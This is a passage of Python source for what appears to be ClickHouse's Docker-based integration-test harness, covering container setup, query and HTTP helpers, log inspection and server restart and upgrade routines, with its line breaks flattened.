logging.debug("Unable to get logs from docker.") f.seek(0) for line in f: if SANITIZER_SIGN in line: sanitizer_assert_instance = line.split('|')[0].strip() break if kill: try: run_and_check(self.base_cmd + ['stop', '--timeout', '20']) except Exception as e: logging.debug("Kill command failed during shutdown. {}".format(repr(e))) logging.debug("Trying to kill forcefully") run_and_check(self.base_cmd + ['kill']) # Check server logs for Fatal messages and sanitizer failures. # NOTE: we cannot do this via docker since in case of Fatal message container may already die. for name, instance in self.instances.items(): if instance.contains_in_log(SANITIZER_SIGN, from_host=True): sanitizer_assert_instance = instance.grep_in_log(SANITIZER_SIGN, from_host=True, filename='stderr.log') logging.error("Sanitizer in instance %s log %s", name, sanitizer_assert_instance) if not ignore_fatal and instance.contains_in_log("Fatal", from_host=True): fatal_log = instance.grep_in_log("Fatal", from_host=True) if 'Child process was terminated by signal 9 (KILL)' in fatal_log: fatal_log = None continue logging.error("Crash in instance %s fatal log %s", name, fatal_log) try: subprocess_check_call(self.base_cmd + ['down', '--volumes']) except Exception as e: logging.debug("Down + remove orphans failed during shutdown. {}".format(repr(e))) else: logging.warning("docker-compose up was not called. Trying to export docker.log for running containers") self.cleanup() self.is_up = False self.docker_client = None for instance in list(self.instances.values()): instance.docker_client = None instance.ip_address = None instance.client = None if sanitizer_assert_instance is not None: raise Exception( "Sanitizer assert found in {} for instance {}".format(self.docker_logs_path, sanitizer_assert_instance)) if fatal_log is not None: raise Exception("Fatal messages found: {}".format(fatal_log)) def pause_container(self, instance_name): subprocess_check_call(self.base_cmd + ['pause', instance_name]) # subprocess_check_call(self.base_cmd + ['kill', '-s SIGSTOP', instance_name]) def unpause_container(self, instance_name): subprocess_check_call(self.base_cmd + ['unpause', instance_name]) # subprocess_check_call(self.base_cmd + ['kill', '-s SIGCONT', instance_name]) def open_bash_shell(self, instance_name): os.system(' '.join(self.base_cmd + ['exec', instance_name, '/bin/bash'])) def get_kazoo_client(self, zoo_instance_name): use_ssl = False if self.with_zookeeper_secure: port = self.zookeeper_secure_port use_ssl = True elif self.with_zookeeper: port = self.zookeeper_port else: raise Exception("Cluster has no ZooKeeper") ip = self.get_instance_ip(zoo_instance_name) logging.debug(f"get_kazoo_client: {zoo_instance_name}, ip:{ip}, port:{port}, use_ssl:{use_ssl}") zk = KazooClient(hosts=f"{ip}:{port}", use_ssl=use_ssl, verify_certs=False, certfile=self.zookeeper_certfile, keyfile=self.zookeeper_keyfile) zk.start() return zk def run_kazoo_commands_with_retries(self, kazoo_callback, zoo_instance_name='zoo1', repeats=1, sleep_for=1): zk = self.get_kazoo_client(zoo_instance_name) logging.debug(f"run_kazoo_commands_with_retries: {zoo_instance_name}, {kazoo_callback}") for i in range(repeats - 1): try: kazoo_callback(zk) return except KazooException as e: logging.debug(repr(e)) time.sleep(sleep_for) kazoo_callback(zk) zk.stop() def add_zookeeper_startup_command(self, command): self.pre_zookeeper_commands.append(command) def stop_zookeeper_nodes(self, zk_nodes): for n in zk_nodes: logging.info("Stopping zookeeper node: %s", n) subprocess_check_call(self.base_zookeeper_cmd + ["stop", n]) def start_zookeeper_nodes(self, zk_nodes): for n in zk_nodes: logging.info("Starting zookeeper node: %s", n) subprocess_check_call(self.base_zookeeper_cmd + ["start", n]) CLICKHOUSE_START_COMMAND = "clickhouse server --config-file=/etc/clickhouse-server/{main_config_file}" \ " --log-file=/var/log/clickhouse-server/clickhouse-server.log " \ " --errorlog-file=/var/log/clickhouse-server/clickhouse-server.err.log" CLICKHOUSE_STAY_ALIVE_COMMAND = 'bash -c "trap \'pkill tail\' INT TERM; {} --daemon; coproc tail -f /dev/null; wait $$!"'.format(CLICKHOUSE_START_COMMAND) # /run/xtables.lock passed inside for correct iptables --wait DOCKER_COMPOSE_TEMPLATE = ''' version: '2.3' services: {name}: image: {image}:{tag} hostname: {hostname} volumes: - {instance_config_dir}:/etc/clickhouse-server/ - {db_dir}:/var/lib/clickhouse/ - {logs_dir}:/var/log/clickhouse-server/ - /etc/passwd:/etc/passwd:ro - /run/xtables.lock:/run/xtables.lock:ro {binary_volume} {odbc_bridge_volume} {library_bridge_volume} {external_dirs_volumes} {odbc_ini_path} {keytab_path} {krb5_conf} entrypoint: {entrypoint_cmd} tmpfs: {tmpfs} cap_add: - SYS_PTRACE - NET_ADMIN - IPC_LOCK - SYS_NICE depends_on: {depends_on} user: '{user}' env_file: - {env_file} security_opt: - label:disable dns_opt: - attempts:2 - timeout:1 - inet6 - rotate {networks} {app_net} {ipv4_address} {ipv6_address} {net_aliases} {net_alias1} ''' class ClickHouseInstance: def __init__( self, cluster, base_path, name, base_config_dir, custom_main_configs, custom_user_configs, custom_dictionaries, macros, with_zookeeper, zookeeper_config_path, with_mysql_client, with_mysql, with_mysql8, with_mysql_cluster, with_kafka, with_kerberized_kafka, with_rabbitmq, with_nginx, with_kerberized_hdfs, with_mongo, with_redis, with_minio, with_azurite, with_jdbc_bridge, with_cassandra, server_bin_path, odbc_bridge_bin_path, library_bridge_bin_path, clickhouse_path_dir, with_odbc_drivers, with_postgres, with_postgres_cluster, clickhouse_start_command=CLICKHOUSE_START_COMMAND, main_config_name="config.xml", users_config_name="users.xml", copy_common_configs=True, hostname=None, env_variables=None, image="clickhouse/integration-test", tag="latest", stay_alive=False, ipv4_address=None, ipv6_address=None, with_installed_binary=False, external_dirs=None, tmpfs=None, config_root_name="clickhouse"): self.name = name self.base_cmd = cluster.base_cmd self.docker_id = cluster.get_instance_docker_id(self.name) self.cluster = cluster self.hostname = hostname if hostname is not None else self.name self.external_dirs = external_dirs self.tmpfs = tmpfs or [] self.base_config_dir = p.abspath(p.join(base_path, base_config_dir)) if base_config_dir else None self.custom_main_config_paths = [p.abspath(p.join(base_path, c)) for c in custom_main_configs] self.custom_user_config_paths = [p.abspath(p.join(base_path, c)) for c in custom_user_configs] self.custom_dictionaries_paths = [p.abspath(p.join(base_path, c)) for c in custom_dictionaries] self.clickhouse_path_dir = p.abspath(p.join(base_path, clickhouse_path_dir)) if clickhouse_path_dir else None self.kerberos_secrets_dir = p.abspath(p.join(base_path, 'secrets')) self.macros = macros if macros is not None else {} self.with_zookeeper = with_zookeeper self.zookeeper_config_path = zookeeper_config_path self.server_bin_path = server_bin_path self.odbc_bridge_bin_path = odbc_bridge_bin_path self.library_bridge_bin_path = library_bridge_bin_path self.with_mysql_client = with_mysql_client self.with_mysql = with_mysql self.with_mysql8 = with_mysql8 self.with_mysql_cluster = with_mysql_cluster self.with_postgres = with_postgres self.with_postgres_cluster = with_postgres_cluster self.with_kafka = with_kafka self.with_kerberized_kafka = with_kerberized_kafka self.with_rabbitmq = with_rabbitmq self.with_nginx = with_nginx self.with_kerberized_hdfs = with_kerberized_hdfs self.with_mongo = with_mongo self.with_redis = with_redis self.with_minio = with_minio self.with_azurite = with_azurite self.with_cassandra = with_cassandra self.with_jdbc_bridge = with_jdbc_bridge self.main_config_name = main_config_name self.users_config_name = users_config_name self.copy_common_configs = copy_common_configs self.clickhouse_start_command = clickhouse_start_command.replace("{main_config_file}", self.main_config_name) self.path = p.join(self.cluster.instances_dir, name) self.docker_compose_path = p.join(self.path, 'docker-compose.yml') self.env_variables = env_variables or {} self.env_file = self.cluster.env_file if with_odbc_drivers: self.odbc_ini_path = self.path + "/odbc.ini:/etc/odbc.ini" self.with_mysql = True else: self.odbc_ini_path = "" if with_kerberized_kafka or with_kerberized_hdfs: self.keytab_path = '- ' + os.path.dirname(self.docker_compose_path) + "/secrets:/tmp/keytab" self.krb5_conf = '- ' + os.path.dirname(self.docker_compose_path) + "/secrets/krb.conf:/etc/krb5.conf:ro" else: self.keytab_path = "" self.krb5_conf = "" self.docker_client = None self.ip_address = None self.client = None self.image = image self.tag = tag self.stay_alive = stay_alive self.ipv4_address = ipv4_address self.ipv6_address = ipv6_address self.with_installed_binary = with_installed_binary self.is_up = False self.config_root_name = config_root_name def is_built_with_sanitizer(self, sanitizer_name=''): build_opts = self.query("SELECT value FROM system.build_options WHERE name = 'CXX_FLAGS'") return "-fsanitize={}".format(sanitizer_name) in build_opts def is_debug_build(self): build_opts = self.query("SELECT value FROM system.build_options WHERE name = 'CXX_FLAGS'") return 'NDEBUG' not in build_opts def is_built_with_thread_sanitizer(self): return self.is_built_with_sanitizer('thread') def is_built_with_address_sanitizer(self): return self.is_built_with_sanitizer('address') def is_built_with_memory_sanitizer(self): return self.is_built_with_sanitizer('memory') # Connects to the instance via clickhouse-client, sends a query (1st argument) and returns the answer def query(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None, ignore_error=False, query_id=None): logging.debug("Executing query %s on %s", sql, self.name) return self.client.query(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database, ignore_error=ignore_error, query_id=query_id) def query_with_retry(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None, ignore_error=False, retry_count=20, sleep_time=0.5, check_callback=lambda x: True): logging.debug(f"Executing query {sql} on {self.name}") result = None for i in range(retry_count): try: result = self.query(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database, ignore_error=ignore_error) if check_callback(result): return result time.sleep(sleep_time) except Exception as ex: logging.debug("Retry {} got exception {}".format(i + 1, ex)) time.sleep(sleep_time) if result is not None: return result raise Exception("Can't execute query {}".format(sql)) # As query() but doesn't wait response and returns response handler def get_query_request(self, sql, *args, **kwargs): logging.debug(f"Executing query {sql} on {self.name}") return self.client.get_query_request(sql, *args, **kwargs) # Connects to the instance via clickhouse-client, sends a query (1st argument), expects an error and return its code def query_and_get_error(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None): logging.debug(f"Executing query {sql} on {self.name}") return self.client.query_and_get_error(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database) # The same as query_and_get_error but ignores successful query. def query_and_get_answer_with_error(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None): logging.debug(f"Executing query {sql} on {self.name}") return self.client.query_and_get_answer_with_error(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database) # Connects to the instance via HTTP interface, sends a query and returns the answer def http_query(self, sql, data=None, params=None, user=None, password=None, expect_fail_and_get_error=False, port=8123, timeout=None, retry_strategy=None): logging.debug(f"Executing query {sql} on {self.name} via HTTP interface") if params is None: params = {} else: params = params.copy() params["query"] = sql auth = None if user and password: auth = requests.auth.HTTPBasicAuth(user, password) elif user: auth = requests.auth.HTTPBasicAuth(user, '') url = f"http://{self.ip_address}:{port}/?" + urllib.parse.urlencode(params) if retry_strategy is None: requester = requests else: adapter = requests.adapters.HTTPAdapter(max_retries=retry_strategy) requester = requests.Session() requester.mount("https://", adapter) requester.mount("http://", adapter) if data: r = requester.post(url, data, auth=auth, timeout=timeout) else: r = requester.get(url, auth=auth, timeout=timeout) def http_code_and_message(): code = r.status_code return str(code) + " " + http.client.responses[code] + ": " + r.text if expect_fail_and_get_error: if r.ok: raise Exception("ClickHouse HTTP server is expected to fail, but succeeded: " + r.text) return http_code_and_message() else: if not r.ok: raise Exception("ClickHouse HTTP server returned " + http_code_and_message()) return r.text # Connects to the instance via HTTP interface, sends a query and returns the answer def http_request(self, url, method='GET', params=None, data=None, headers=None): logging.debug(f"Sending HTTP request {url} to {self.name}") url = "http://" + self.ip_address + ":8123/" + url return requests.request(method=method, url=url, params=params, data=data, headers=headers) # Connects to the instance via HTTP interface, sends a query, expects an error and return the error message def http_query_and_get_error(self, sql, data=None, params=None, user=None, password=None): logging.debug(f"Executing query {sql} on {self.name} via HTTP interface") return self.http_query(sql=sql, data=data, params=params, user=user, password=password, expect_fail_and_get_error=True) def stop_clickhouse(self, stop_wait_sec=30, kill=False): if not self.stay_alive: raise Exception("clickhouse can be stopped only with stay_alive=True instance") try: ps_clickhouse = self.exec_in_container(["bash", "-c", "ps -C clickhouse"], nothrow=True, user='root') if ps_clickhouse == " PID TTY STAT TIME COMMAND" : logging.warning("ClickHouse process already stopped") return self.exec_in_container(["bash", "-c", "pkill {} clickhouse".format("-9" if kill else "")], user='root') start_time = time.time() stopped = False while time.time() <= start_time + stop_wait_sec: pid = self.get_process_pid("clickhouse") if pid is None: stopped = True break else: time.sleep(1) if not stopped: pid = self.get_process_pid("clickhouse") if pid is not None: logging.warning(f"Force kill clickhouse in stop_clickhouse. ps:{pid}") self.exec_in_container(["bash", "-c", f"gdb -batch -ex 'thread apply all bt full' -p {pid} > {os.path.join(self.path, "logs/stdout.log")}"], user='root') self.stop_clickhouse(kill=True) else: ps_all = self.exec_in_container(["bash", "-c", "ps aux"], nothrow=True, user='root') logging.warning(f"We want force stop clickhouse, but no clickhouse-server is running\n{ps_all}") return except Exception as e: logging.warning(f"Stop ClickHouse raised an error {e}") def start_clickhouse(self, start_wait_sec=60): if not self.stay_alive: raise Exception("ClickHouse can be started again only with stay_alive=True instance") start_time = time.time() time_to_sleep = 0.5 while start_time + start_wait_sec >= time.time(): # sometimes after SIGKILL (hard reset) server may refuse to start for some time # for different reasons. pid = self.get_process_pid("clickhouse") if pid is None: logging.debug("No clickhouse process running. Start new one.") self.exec_in_container(["bash", "-c", "{} --daemon".format(self.clickhouse_start_command)], user=str(os.getuid())) time.sleep(1) continue else: logging.debug("Clickhouse process running.") try: self.wait_start(start_wait_sec + start_time - time.time()) return except Exception as e: logging.warning(f"Current start attempt failed. Will kill {pid} just in case.") self.exec_in_container(["bash", "-c", f"kill -9 {pid}"], user='root', nothrow=True) time.sleep(time_to_sleep) raise Exception("Cannot start ClickHouse, see additional info in logs") def wait_start(self, start_wait_sec): start_time = time.time() last_err = None while True: try: pid = self.get_process_pid("clickhouse") if pid is None: raise Exception("ClickHouse server is not running. Check logs.") exec_query_with_retry(self, 'select 20', retry_count = 10, silent=True) return except QueryRuntimeException as err: last_err = err pid = self.get_process_pid("clickhouse") if pid is not None: logging.warning(f"ERROR {err}") else: raise Exception("ClickHouse server is not running. Check logs.") if time.time() > start_time + start_wait_sec: break logging.error(f"No time left to start. But process is still running. Will dump threads.") ps_clickhouse = self.exec_in_container(["bash", "-c", "ps -C clickhouse"], nothrow=True, user='root') logging.info(f"PS RESULT:\n{ps_clickhouse}") pid = self.get_process_pid("clickhouse") if pid is not None: self.exec_in_container(["bash", "-c", f"gdb -batch -ex 'thread apply all bt full' -p {pid}"], user='root') if last_err is not None: raise last_err def restart_clickhouse(self, stop_start_wait_sec=60, kill=False): self.stop_clickhouse(stop_start_wait_sec, kill) self.start_clickhouse(stop_start_wait_sec) def exec_in_container(self, cmd, detach=False, nothrow=False, **kwargs): return self.cluster.exec_in_container(self.docker_id, cmd, detach, nothrow, **kwargs) def rotate_logs(self): self.exec_in_container(["bash", "-c", f"kill -HUP {self.get_process_pid("clickhouse server")}"], user='root') def contains_in_log(self, substring, from_host=False, filename='clickhouse-server.log'): if from_host: # We check fist file exists but want to look for all rotated logs as well result = subprocess_check_call(["bash", "-c", f'[ -f {self.logs_dir}/{filename} ] && zgrep -aH "{substring}" {self.logs_dir}/{filename}* || true' ]) else: result = self.exec_in_container(["bash", "-c", f'[ -f /var/log/clickhouse-server/{filename} ] && zgrep -aH "{substring}" /var/log/clickhouse-server/{filename} || true' ]) return len(result) > 0 def grep_in_log(self, substring, from_host=False, filename='clickhouse-server.log'): logging.debug(f"grep in log called %s", substring) if from_host: # We check fist file exists but want to look for all rotated logs as well result = subprocess_check_call(["bash", "-c", f'[ -f {self.logs_dir}/{filename} ] && zgrep -a "{substring}" {self.logs_dir}/{filename}* || true' ]) else: result = self.exec_in_container(["bash", "-c", f'[ -f /var/log/clickhouse-server/{filename} ] && zgrep -a "{substring}" /var/log/clickhouse-server/{filename}* || true' ]) logging.debug("grep result %s", result) return result def count_in_log(self, substring): result = self.exec_in_container( ["bash", "-c", 'grep -a "{}" /var/log/clickhouse-server/clickhouse-server.log | wc -l'.format(substring)]) return result def wait_for_log_line(self, regexp, filename='/var/log/clickhouse-server/clickhouse-server.log', timeout=30, repetitions=1, look_behind_lines=100): start_time = time.time() result = self.exec_in_container( ["bash", "-c", 'timeout {} tail -Fn{} "{}" | grep -Em {} {}'.format(timeout, look_behind_lines, filename, repetitions, shlex.quote(regexp))]) # if repetitions>1 grep will return success even if not enough lines were collected, if repetitions>1 and len(result.splitlines()) < repetitions: logging.debug("wait_for_log_line: those lines were found during {} seconds:".format(timeout)) logging.debug(result) raise Exception("wait_for_log_line: Not enough repetitions: {} found, while {} expected".format(len(result.splitlines()), repetitions)) wait_duration = time.time() - start_time logging.debug('{} log line(s) matching "{}" appeared in a {:.3f} seconds'.format(repetitions, regexp, wait_duration)) return wait_duration def file_exists(self, path): return self.exec_in_container( ["bash", "-c", "echo $(if [ -e '{}' ]; then echo 'yes'; else echo 'no'; fi)".format(path)]) == 'yes\n' def copy_file_to_container(self, local_path, dest_path): return self.cluster.copy_file_to_container(self.docker_id, local_path, dest_path) def get_process_pid(self, process_name): output = self.exec_in_container(["bash", "-c", "ps ax | grep '{}' | grep -v 'grep' | grep -v 'coproc' | grep -v 'bash -c' | awk '{{print $1}}'".format( process_name)]) if output: try: pid = int(output.split('\n')[0].strip()) return pid except: return None return None def restart_with_original_version(self, stop_start_wait_sec=300, callback_onstop=None, signal=15): begin_time = time.time() if not self.stay_alive: raise Exception("Cannot restart not stay alive container") self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(signal)], user='root') retries = int(stop_start_wait_sec / 0.5) local_counter = 0 # wait stop while local_counter < retries: if not self.get_process_pid("clickhouse server"): break time.sleep(0.5) local_counter += 1 # force kill if server hangs if self.get_process_pid("clickhouse server"): # server can die before kill, so don't throw exception, it's expected self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(9)], nothrow=True, user='root') if callback_onstop: callback_onstop(self) self.exec_in_container(["bash", "-c", "echo 'restart_with_original_version: From version' && /usr/bin/clickhouse server --version && echo 'To version' && /usr/share/clickhouse_original server --version"]) self.exec_in_container( ["bash", "-c", "cp /usr/share/clickhouse_original /usr/bin/clickhouse && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "cp /usr/share/clickhouse-odbc-bridge_fresh /usr/bin/clickhouse-odbc-bridge && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "{} --daemon".format(self.clickhouse_start_command)], user=str(os.getuid())) # wait start time_left = begin_time + stop_start_wait_sec - time.time() if time_left <= 0: raise Exception(f"No time left during restart") else: self.wait_start(time_left) def restart_with_latest_version(self, stop_start_wait_sec=300, callback_onstop=None, signal=15): begin_time = time.time() if not self.stay_alive: raise Exception("Cannot restart not stay alive container") self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(signal)], user='root') retries = int(stop_start_wait_sec / 0.5) local_counter = 0 # wait stop while local_counter < retries: if not self.get_process_pid("clickhouse server"): break time.sleep(0.5) local_counter += 1 # force kill if server hangs if self.get_process_pid("clickhouse server"): # server can die before kill, so don't throw exception, it's expected self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(9)], nothrow=True, user='root') if callback_onstop: callback_onstop(self) self.exec_in_container( ["bash", "-c", "cp /usr/bin/clickhouse /usr/share/clickhouse_original"], user='root') self.exec_in_container( ["bash", "-c", "cp /usr/share/clickhouse_fresh /usr/bin/clickhouse && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "echo 'restart_with_latest_version: From version' && /usr/share/clickhouse_original server --version && echo 'To version' /usr/share/clickhouse_fresh server --version"]) self.exec_in_container(["bash", "-c", "cp /usr/share/clickhouse-odbc-bridge_fresh /usr/bin/clickhouse-odbc-bridge && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "{} --daemon".format(self.clickhouse_start_command)], user=str(os.getuid())) # wait start time_left = begin_time + stop_start_wait_sec - time.time() if time_left <= 0: raise Exception(f"No time left during restart") else: self.wait_start(time_left) def get_docker_handle(self): return self.cluster.get_docker_handle(self.docker_id) def stop(self): self.get_docker_handle().stop() def start(self): self.get_docker_handle().start() def wait_for_start(self, start_timeout=None, connection_timeout=None): handle = self.get_docker_handle() if start_timeout is None or start_timeout <= 0: raise Exception("Invalid timeout: {}".format(start_timeout)) if connection_timeout is not None and connection_timeout < start_timeout: raise Exception("Connection timeout {} should be grater then start timeout {}" .format(connection_timeout, start_timeout)) start_time = time.time() prev_rows_in_log = 0 def has_new_rows_in_log(): nonlocal prev_rows_in_log try: rows_in_log = int(self.count_in_log(".*").strip()) res = rows_in_log > prev_rows_in_log prev_rows_in_log = rows_in_log return res except ValueError: return False while True: handle.reload() status = handle.status if status == 'exited': raise Exception(f"Instance `{self.name}" failed to start. Container status: {status}, logs: {handle.logs().decode("utf-8")}") deadline = start_time + start_timeout # It is possible that server starts slowly. # If container is running, and there is some progress in log, check connection_timeout. if connection_timeout and status == 'running' and has_new_rows_in_log(): deadline = start_time + connection_timeout current_time = time.time() if current_time >= deadline: raise Exception(f"Timed out while waiting for instance `{self.name}' with ip address {self.ip_address} to start. " \ f"Container status: {status}, logs: {handle.logs().decode("utf-8")}") socket_timeout = min(start_timeout, deadline - current_time) # Repeatedly poll the instance address until there is something that listens there. # Usually it means that ClickHouse is ready to accept queries. try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(socket_timeout) sock.connect((self.ip_address, 9000)) self.is_up = True return except socket.timeout: continue except socket.error as e: if e.errno == errno.ECONNREFUSED or e.errno == errno.EHOSTUNREACH or e.errno == errno.ENETUNREACH: time.sleep(0.1) else: raise finally: sock.close() def dict_to_xml(self, dictionary): xml_str = dict2xml(dictionary, wrap=self.config_root_name, indent=" ", newlines=True) return xml_str @property def odbc_drivers(self): if self.odbc_ini_path: return { "SQLite3": { "DSN": "sqlite3_odbc", "Database": "/tmp/sqliteodbc", "Driver": "/usr/lib/x86_64-linux-gnu/odbc/libsqlite3odbc.so", "Setup": "/usr/lib/x86_64-linux-gnu/odbc/libsqlite3odbc.so", }, "MySQL": { "DSN": "mysql_odbc", "Driver": "/usr/lib/x86_64-linux-gnu/odbc/libmyodbc.so", "Database": "clickhouse", "Uid": "root", "Pwd": "clickhouse", "Server": self.cluster.mysql_host, }, "PostgreSQL": { "DSN": "postgresql_odbc", "Database": "postgres", "UserName": "postgres", "Password": "mysecretpassword", "Port": str(self.cluster.postgres_port), "Servername": self.cluster.postgres_host, "Protocol": "9.3", "ReadOnly": "No", "RowVersioning": "No", "ShowSystemTables": "No", "Driver": "/usr/lib/x86_64-linux-gnu/odbc/psqlodbca.so", "Setup": "/usr/lib/x86_64-linux-gnu/odbc/libodbcpsqlS.so", "ConnSettings": "", } } else: return {} def _create_odbc_config_file(self): with open(self.odbc_ini_path.split(':')[0], 'w') as f: for driver_setup in list(self.odbc_drivers.values()): f.write("[{}]\n".format(driver_setup["DSN"])) for key, value in list(driver_setup.items()): if key != "DSN": f.write(key + "=" + value + "\n") def replace_config(self, path_to_config, replacement): self.exec_in_container(["bash", "-c", "echo '{}' > {}".format(replacement, path_to_config)]) def replace_in_config(self, path_to_config, replace, replacement): self.exec_in_container(["bash", "-c", f"sed -i 's/{replace}/{replacement}/g' {path_to_config}"]) def create_dir(self, destroy_dir=True): """Create the instance directory and all the needed files there.""" if destroy_dir: self.destroy_dir() elif p.exists(self.path): return os.makedirs(self.path) instance_config_dir = p.abspath(p.join(self.path, 'configs')) os.makedirs(instance_config_dir) print(f"Copy common default production configuration from {self.base_config_dir}. Files: {self.main_config_name}, {self.users_config_name}") shutil.copyfile(p.join(self.base_config_dir, self.main_config_name), p.join(instance_config_dir, self.main_config_name)) shutil.copyfile(p.join(self.base_config_dir, self.users_config_name), p.join(instance_config_dir, self.users_config_name)) logging.debug("Create directory for configuration generated in this helper") # used by all utils with any config conf_d_dir = p.abspath(p.join(instance_config_dir, 'conf.d')) os.mkdir(conf_d_dir) logging.debug("Create directory for common tests configuration") # used by server with main config.xml self.config_d_dir = p.abspath(p.join(instance_config_dir, 'config.d')) os.mkdir(self.config_d_dir) users_d_dir = p.abspath(p.join(instance_config_dir, 'users.d')) os.mkdir(users_d_dir) dictionaries_dir = p.abspath(p.join(instance_config_dir, 'dictionaries')) os.mkdir(dictionaries_dir) def write_embedded_config(name, dest_dir, fix_log_level=False): with open(p.join(HELPERS_DIR, name), 'r') as f: data = f.read() data = data.replace('clickhouse', self.config_root_name) if fix_log_level: data = data.replace('<level>test</level>', '<level>trace</level>') with open(p.join(dest_dir, name), 'w') as r: r.write(data) logging.debug("Copy common configuration from helpers") # The file is named with 0_ prefix to be processed before other configuration overloads. if self.copy_common_configs: need_fix_log_level = self.tag != 'latest' write_embedded_config('0_common_instance_config.xml', self.config_d_dir, need_fix_log_level) write_embedded_config('0_common_instance_users.xml', users_d_dir) if len(self.custom_dictionaries_paths): write_embedded_config('0_common_enable_dictionaries.xml', self.config_d_dir) logging.debug("Generate and write macros file") macros = self.macros.copy() macros['instance'] = self.name with open(p.join(conf_d_dir, 'macros.xml'), 'w') as macros_config: macros_config.write(self.dict_to_xml({"macros": macros})) # Put ZooKeeper config if self.with_zookeeper: shutil.copy(self.zookeeper_config_path, conf_d_dir) if self.with_kerberized_kafka or self.with_kerberized_hdfs: shutil.copytree(self.kerberos_secrets_dir, p.abspath(p.join(self.path, 'secrets'))) # Copy config.d configs logging.debug(f"Copy custom test config files {self.custom_main_config_paths} to {self.config_d_dir}") for path in self.custom_main_config_paths: shutil.copy(path, self.config_d_dir) # Copy users.d configs for path in self.custom_user_config_paths: shutil.copy(path, users_d_dir) # Copy dictionaries configs to configs/dictionaries for path in self.custom_dictionaries_paths: shutil.copy(path, dictionaries_dir) db_dir = p.abspath(p.join(self.path, 'database')) logging.debug(f"Setup database dir {db_dir}") if self.clickhouse_path_dir is not None: logging.debug(f"Database files taken from {self.clickhouse_path_dir}") shutil.copytree(self.clickhouse_path_dir, db_dir) logging.debug(f"Database copied from {self.clickhouse_path_dir} to {db_dir}") else: os.mkdir(db_dir) logs_dir = p.abspath(p.join(self.path, 'logs')) logging.debug(f"Setup logs dir {logs_dir}") os.mkdir(logs_dir) self.logs_dir = logs_dir depends_on = [] if self.with_mysql_client: depends_on.append(self.cluster.mysql_client_host) if self.with_mysql: depends_on.append("mysql57") if self.with_mysql8: depends_on.append("mysql80") if self.with_mysql_cluster: depends_on.append("mysql57") depends_on.append("mysql2") depends_on.append("mysql3") depends_on.append("mysql4") if self.with_postgres_cluster: depends_on.append("postgres2") depends_on.append("postgres3") depends_on.append("postgres4") if self.with_kafka: depends_on.append("kafka1") depends_on.append("schema-registry") if self.with_kerberized_kafka: depends_on.append("kerberized_kafka1") if self.with_kerberized_hdfs: depends_on.append("kerberizedhdfs1") if self.with_rabbitmq: depends_on.append("rabbitmq1") if self.with_zookeeper: depends_on.append("zoo1") depends_on.append("zoo2") depends_on.append("zoo3") if self.with_minio: depends_on.append("minio1") if self.with_azurite: depends_on.append("azurite1") self.cluster.env_variables.update(self.env_variables) odbc_ini_path = "" if self.odbc_ini_path: self._create_odbc_config_file() odbc_ini_path = '- ' + self.odbc_ini_path entrypoint_cmd = self.clickhouse_start_command if self.stay_alive: entrypoint_cmd = CLICKHOUSE_STAY_ALIVE_COMMAND.replace("{main_config_file}", self.main_config_name) else: entrypoint_cmd = '[' + ', '.join(map(lambda x: '"' + x + '"', entrypoint_cmd.split())) + ']' logging.debug("Entrypoint cmd: {}".format(entrypoint_cmd)) networks = app_net = ipv4_address = ipv6_address = net_aliases = net_alias1 = "" if self.ipv4_address is not None or self.ipv6_address is not None or self.hostname != self.name: networks = "networks:" app_net = "default:" if self.ipv4_address is not None: ipv4_address = "ipv4_address: " + self.ipv4_address if self.ipv6_address is not None: ipv6_address = "ipv6_address: " + self.ipv6_address if self.hostname != self.name: net_aliases = "aliases:" net_alias1 = "- " + self.hostname if not self.with_installed_binary: binary_volume = "- " + self.server_bin_path + ":/usr/bin/clickhouse" odbc_bridge_volume = "- " + self.odbc_bridge_bin_path + ":/usr/bin/clickhouse-odbc-bridge" library_bridge_volume = "- " + self.library_bridge_bin_path + ":/usr/bin/clickhouse-library-bridge" else: binary_volume = "- " + self.server_bin_path + ":/usr/share/clickhouse_fresh" odbc_bridge_volume = "- " + self.odbc_bridge_bin_path + ":/usr/share/clickhouse-odbc-bridge_fresh" library_bridge_volume = "- " + self.library_bridge_bin_path + ":/usr/share/clickhouse-library-bridge_fresh" external_dirs_volumes = "" if self.external_dirs: for external_dir in self.external_dirs: external_dir_abs_path = p.abspath(p.join(self.path, external_dir.lstrip('/'))) logging.info(f'external_dir_abs_path={external_dir_abs_path}') os.mkdir(external_dir_abs_path) external_dirs_volumes += "- " + external_dir_abs_path + ":" + external_dir + "\n" with open(self.docker_compose_path, 'w') as docker_compose: docker_compose.write(DOCKER_COMPOSE_TEMPLATE.format( image=self.image, tag=self.tag, name=self.name, hostname=self.hostname, binary_volume=binary_volume, odbc_bridge_volume=odbc_bridge_volume, library_bridge_volume=library_bridge_volume, instance_config_dir=instance_config_dir, config_d_dir=self.config_d_dir, db_dir=db_dir, external_dirs_volumes=external_dirs_volumes, tmpfs=str(self.tmpfs), logs_dir=logs_dir, depends_on=str(depends_on), user=os.getuid(), env_file=self.env_file, odbc_ini_path=odbc_ini_path, keytab_path=self.keytab_path, krb5_conf=self.krb5_conf, entrypoint_cmd=entrypoint_cmd, networks=networks, app_net=app_net, ipv4_address=ipv4_address, ipv6_address=ipv6_address, net_aliases=net_aliases, net_alias1=net_alias1, )) def destroy_dir(self): if p.exists(self.path): shutil.rmtree(self.path) class ClickHouseKiller(object): def __init__(self, clickhouse_node): self.clickhouse_node = clickhouse_node def __enter__(self): self.clickhouse_node.stop_clickhouse(kill=True) def __exit__(self, exc_type, exc_val, exc_tb): self.clickhouse_node.start_clickhouse()
